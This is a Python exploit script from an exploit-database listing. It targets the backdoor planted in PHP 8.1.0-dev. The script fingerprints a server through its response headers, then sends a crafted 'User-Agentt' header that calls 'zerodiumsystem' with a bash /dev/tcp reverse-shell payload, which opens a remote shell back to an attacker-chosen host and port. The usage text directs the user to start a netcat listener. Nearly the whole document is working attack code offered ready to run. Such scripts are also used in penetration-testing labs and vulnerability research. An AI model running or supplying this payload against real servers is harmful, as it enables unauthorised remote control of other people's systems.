# Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution # Date: 23 may 2021 # Exploit Author: flast101 # Vendor Homepage: https://www.php.net/ # Software Link: # - https://hub.docker.com/r/phpdaily/php # - https://github.com/phpdaily/php # Version: 8.1.0-dev # Tested on: Ubuntu 20.04 # CVE : N/A # References: # - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a # - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md """ Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/ Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py Contact: flast101.sec@gmail.com An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header. The following exploit uses the backdoor to provide a pseudo shell ont the host. Usage: python3 revshell_php_8.1.0-dev.py """ #!/usr/bin/env python3 import os, sys, argparse, requests request = requests.Session() def check_target(args): response = request.get(args.url) for header in response.headers.items(): if "PHP/8.1.0-dev" in header[1]: return True return False def reverse_shell(args): payload = 'bash -c \"bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\"' injection = request.get(args.url, headers={"User-Agentt": "zerodiumsystem('" + payload + "');"}, allow_redirects = False) def main(): parser = argparse.ArgumentParser(description="Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shell: nc -nlvp ") parser.add_argument("url", metavar='', help="Target URL") parser.add_argument("lhost", metavar='', help="Attacker listening IP",) parser.add_argument("lport", metavar='', help="Attacker listening port") args = parser.parse_args() if check_target(args): reverse_shell(args) else: print("Host is not available or vulnerable, aborting...") exit if __name__ == "__main__": main()